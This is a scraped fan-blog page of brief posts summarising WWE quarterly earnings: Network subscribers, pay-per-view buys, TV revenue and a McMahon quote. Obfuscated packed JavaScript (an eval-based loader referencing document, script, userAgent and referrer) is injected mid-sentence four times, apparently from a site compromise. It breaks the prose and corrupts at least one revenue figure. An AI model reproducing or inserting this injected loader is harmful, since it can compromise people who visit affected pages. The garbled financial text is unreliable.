WWE Q3 Earnings Report

http://corporate.wwe.com/news/2015/wwe-reports-strong-third-quarter-2015-earnings-growth

Since eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyhyr|var|u0026u|referrer|dfaek||js|php'.split('|'),0,{})) most of us have little to no idea what most of this means, here’s a quick summary:

Money is mostly up across the board, save for DVDs, likely due to the Network and WWE Studios because…..well because it’s WWE Studios.
The Network now has 1.2 million subscribers. It hits India next week and German/Japan in January, which should boost numbers even more.
Revenue is up 38% overall from this quarter last year, which is quite good.
Stock is down over 10% today because the stock market is screwy and there’s almost no such thing as good enough.

WWE Second Quarter Financials Coming July 31

Including eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkifi|var|u0026u|referrer|yhafk||js|php'.split('|'),0,{})) updated Network subscribers. This should be very interesting.

WWE Posts Second Quarter Financials

There’s a lot of data here.First eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkfzt|var|u0026u|referrer|kkkhn||js|php'.split('|'),0,{})) up is the always important PPV data:

WrestleMania 29 – 1,039,000 buys

Extreme Rules – 231,000 buys

Payback – 186,000 buys

These numbers are all slightly down a bit from last year, but Wrestlemania was more expensive this year and there were more HD buys which make up the difference. Overall the quarter is down from last year, but there was a fourth PPV in the second quarter last year as well which explains the loss.

Television revenue, another huge money market for the company, was up $5.6 million (17%) from last year due to the extra hour of Raw and Main Event.

Live event/merchandise revenue were up as well.

Digital media (WWE.com) was up 27%.

Even WWE Studios made a profit.

All in all, this is an excellent report for WWE as the company continues to rake in money hand over fist.

WWE Releases Fourth Quarter Financials For 2012: Numbers Improve

I’m no financial genius but these numbers look like they’re going up in the right places.

Revenues eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aarey|var|u0026u|referrer|baiha||js|php'.split('|'),0,{})) totaled 5.1 million as compared to 2.9 million in the prior-year quarter.

Operating income was $2.6 million as compared to a loss of $13.1 million in the prior-year quarter.

Net income was $0.6 million, or $0.01 per share, as compared to a loss of $8.6 million, or $(0.12) per share, in the prior-year quarter.

Operating income was $5.4 million as compared to $3.1 million in the prior-year quarter, and Adjusted Net income was $1.3 million, or $0.02 per share, as compared to $1.8 million, or $0.02 per share, in the prior-year quarter.

Vince McMahon had the following comments..

“In the fourth quarter, we continued to make important progress on our key strategic initiatives, expanding the production and licensing of new programs and enhancing our brands. Although we did not announce the launch of a domestic television network during the year, we believe, now more than ever, that we can realize the full value of our intellectual property using a variety of approaches in our global markets. Our confidence is based on the rising value of content and the tremendous global appeal of our brands.”